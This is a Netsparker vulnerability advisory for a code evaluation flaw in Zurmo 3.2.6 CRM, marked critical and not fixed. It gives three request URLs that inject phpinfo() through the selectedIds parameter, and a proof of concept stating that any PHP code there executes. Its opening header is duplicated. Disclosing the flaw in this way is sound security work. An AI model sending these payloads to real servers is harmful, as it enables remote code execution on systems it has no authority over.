Code Evaluation Vulnerability in Zurmo 3.2.6

Information
--------------------

Advisory by Netsparker
Name: Code Evaluation Vulnerability in Zurmo
Affected Software Code Evaluation Vulnerability in Zurmo 3.2.6

Information
--------------------

Advisory by Netsparker
Name: Code Evaluation Vulnerability in Zurmo
Affected Software: Zurmo
Affected Versions: 3.2.6
Homepage: http://zurmo.org
Vulnerability: Code Evaluation
Severity: Critical
Status: Not Fixed
Netsparker Advisory Reference: NS-19-007

Technical Details
--------------------

URL: http://{DOMAIN}/zurmo/app/index.php/leads/default/?_=1557483150787&ajax=list-view&Contact_page=&Contact_sort=&selectedIds=phpinfo()
Parameter Name : selectedIds
Parameter Type: GET
Attack Pattern: phpinfo()

URL: http://{DOMAIN}/zurmo/app/index.php/opportunities/?_=1557483204319&ajax=list-view&Opportunity_page=&Opportunity_sort=&selectedIds=phpinfo()
Parameter Name : selectedIds
Parameter Type: GET
Attack Pattern: phpinfo()

URL: http://{DOMAIN}/zurmo/app/index.php/opportunities/default/?_=1557483206340&ajax=list-view&Opportunity_page=&Opportunity_sort=&selectedIds=phpinfo()
Parameter Name : selectedIds
Parameter Type: GET
Attack Pattern: phpinfo()

Proof-of-Concept
--------------------

Navigate to any of the URLs above and you'll see the phpinfo appear on the page. Changing the selectedIds parameter to any php code will reflect the expected output from the code on the page.

Advisory Timeline
--------------------

17th May 2019 - First Attempted Contact
24th July 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Umran Yildirimkaya while testing the Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.